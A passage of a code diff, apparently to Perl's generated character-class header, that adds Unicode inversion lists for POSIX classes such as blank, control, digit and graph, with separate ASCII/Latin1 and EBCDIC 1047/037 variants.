+	0xACD,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAF9,
+	0xAFD,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4D,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCD,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4D,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCD,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4D,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE47,
+	0xE4D,
+	0xE4E,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xECD,
+	0xECE,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF82,
+	0xF88,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0x1000,
+	0x1037,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x1040,
+	0x1050,
+	0x1063,
+	0x1065,
+	0x1069,
+	0x106E,
+	0x1087,
+	0x108E,
+	0x108F,
+	0x109C,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135F,
+	0x1360,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1714,
+	0x1720,
+	0x1734,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17B4,
+	0x17B6,
+	0x17C9,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x1939,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A61,
+	0x1A75,
+	0x1AA7,
+	0x1AA8,
+	0x1B00,
+	0x1B34,
+	0x1B35,
+	0x1B44,
+	0x1B45,
+	0x1B4C,
+	0x1B80,
+	0x1BAA,
+	0x1BAC,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1BE7,
+	0x1BF2,
+	0x1C00,
+	0x1C36,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C7E,
+	0x1C80,
+	0x1C89,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF7,
+	0x1D00,
+	0x1DC0,
+	0x1DE7,
+	0x1DF5,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA640,
+	0xA66F,
+	0xA674,
+	0xA67C,
+	0xA67F,
+	0xA6F0,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA828,
+	0xA840,
+	0xA874,
+	0xA880,
+	0xA8C4,
+	0xA8C5,
+	0xA8C6,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA92B,
+	0xA930,
+	0xA953,
+	0xA960,
+	0xA97D,
+	0xA980,
+	0xA9B3,
+	0xA9B4,
+	0xA9C0,
+	0xA9CF,
+	0xA9D0,
+	0xA9E0,
+	0xA9E5,
+	0xA9E6,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAABF,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xAAF6,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABEB,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10140,
+	0x10175,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x103D1,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x11000,
+	0x11046,
+	0x11082,
+	0x110B9,
+	0x110D0,
+	0x110E9,
+	0x11100,
+	0x11133,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11180,
+	0x111C0,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x11235,
+	0x11237,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112E9,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134D,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11400,
+	0x11442,
+	0x11443,
+	0x11446,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114C2,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115BF,
+	0x115D8,
+	0x115DE,
+	0x11600,
+	0x1163F,
+	0x11640,
+	0x11641,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116B6,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172B,
+	0x118A0,
+	0x118E0,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A33,
+	0x11A35,
+	0x11A3F,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A98,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C3F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D46,
+	0x11D48,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B37,
+	0x16B40,
+	0x16B44,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F93,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9E,
+	0x1BC9F,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E900,
+	0x1E944,
+	0x1E947,
+	0x1E948,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXBLANK_invlist[] = { /* for ASCII/Latin1 */
 	17,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
@@ -24458,7 +131126,69 @@
 	0x3001
 };
 
-static const UV XPosixCntrl_invlist[] = { /* for ASCII/Latin1 */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXBLANK_invlist[] = { /* for EBCDIC 1047 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0x40,
+	0x42,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXBLANK_invlist[] = { /* for EBCDIC 037 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0x40,
+	0x42,
+	0x1680,
+	0x1681,
+	0x2000,
+	0x200B,
+	0x202F,
+	0x2030,
+	0x205F,
+	0x2060,
+	0x3000,
+	0x3001
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXCNTRL_invlist[] = { /* for ASCII/Latin1 */
 	4,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	0,	/* 0 if the list starts at 0;
@@ -24469,9 +131199,49 @@
 	0xA0
 };
 
-static const UV XPosixDigit_invlist[] = { /* for ASCII/Latin1 */
-	109,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXCNTRL_invlist[] = { /* for EBCDIC 1047 */
+	4,	/* Number of elements */
 	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0xFF,
+	0x100
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXCNTRL_invlist[] = { /* for EBCDIC 037 */
+	4,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0xFF,
+	0x100
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXDIGIT_invlist[] = { /* for ASCII/Latin1 */
+	111,	/* Number of elements */
+	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
@@ -24575,6 +131345,8 @@
 	0x118EA,
 	0x11C50,
 	0x11C5A,
+	0x11D50,
+	0x11D5A,
 	0x16A60,
 	0x16A6A,
 	0x16B50,
@@ -24585,12 +131357,266 @@
 	0x1E95A
 };
 
-static const UV XPosixGraph_invlist[] = { /* for ASCII/Latin1 */
-	1287,	/* Number of elements */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXDIGIT_invlist[] = { /* for EBCDIC 1047 */
+	111,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0xF0,
+	0xFA,
+	0x660,
+	0x66A,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xBE6,
+	0xBF0,
+	0xC66,
+	0xC70,
+	0xCE6,
+	0xCF0,
+	0xD66,
+	0xD70,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF2A,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x17E0,
+	0x17EA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0xA620,
+	0xA62A,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0xFF10,
+	0xFF1A,
+	0x104A0,
+	0x104AA,
+	0x11066,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173A,
+	0x118E0,
+	0x118EA,
+	0x11C50,
+	0x11C5A,
+	0x11D50,
+	0x11D5A,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x1D7CE,
+	0x1D800,
+	0x1E950,
+	0x1E95A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXDIGIT_invlist[] = { /* for EBCDIC 037 */
+	111,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF0,
+	0xFA,
+	0x660,
+	0x66A,
+	0x6F0,
+	0x6FA,
+	0x7C0,
+	0x7CA,
+	0x966,
+	0x970,
+	0x9E6,
+	0x9F0,
+	0xA66,
+	0xA70,
+	0xAE6,
+	0xAF0,
+	0xB66,
+	0xB70,
+	0xBE6,
+	0xBF0,
+	0xC66,
+	0xC70,
+	0xCE6,
+	0xCF0,
+	0xD66,
+	0xD70,
+	0xDE6,
+	0xDF0,
+	0xE50,
+	0xE5A,
+	0xED0,
+	0xEDA,
+	0xF20,
+	0xF2A,
+	0x1040,
+	0x104A,
+	0x1090,
+	0x109A,
+	0x17E0,
+	0x17EA,
+	0x1810,
+	0x181A,
+	0x1946,
+	0x1950,
+	0x19D0,
+	0x19DA,
+	0x1A80,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1B50,
+	0x1B5A,
+	0x1BB0,
+	0x1BBA,
+	0x1C40,
+	0x1C4A,
+	0x1C50,
+	0x1C5A,
+	0xA620,
+	0xA62A,
+	0xA8D0,
+	0xA8DA,
+	0xA900,
+	0xA90A,
+	0xA9D0,
+	0xA9DA,
+	0xA9F0,
+	0xA9FA,
+	0xAA50,
+	0xAA5A,
+	0xABF0,
+	0xABFA,
+	0xFF10,
+	0xFF1A,
+	0x104A0,
+	0x104AA,
+	0x11066,
+	0x11070,
+	0x110F0,
+	0x110FA,
+	0x11136,
+	0x11140,
+	0x111D0,
+	0x111DA,
+	0x112F0,
+	0x112FA,
+	0x11450,
+	0x1145A,
+	0x114D0,
+	0x114DA,
+	0x11650,
+	0x1165A,
+	0x116C0,
+	0x116CA,
+	0x11730,
+	0x1173A,
+	0x118E0,
+	0x118EA,
+	0x11C50,
+	0x11C5A,
+	0x11D50,
+	0x11D5A,
+	0x16A60,
+	0x16A6A,
+	0x16B50,
+	0x16B5A,
+	0x1D7CE,
+	0x1D800,
+	0x1E950,
+	0x1E95A
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXGRAPH_invlist[] = { /* for ASCII/Latin1 */
+	1309,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
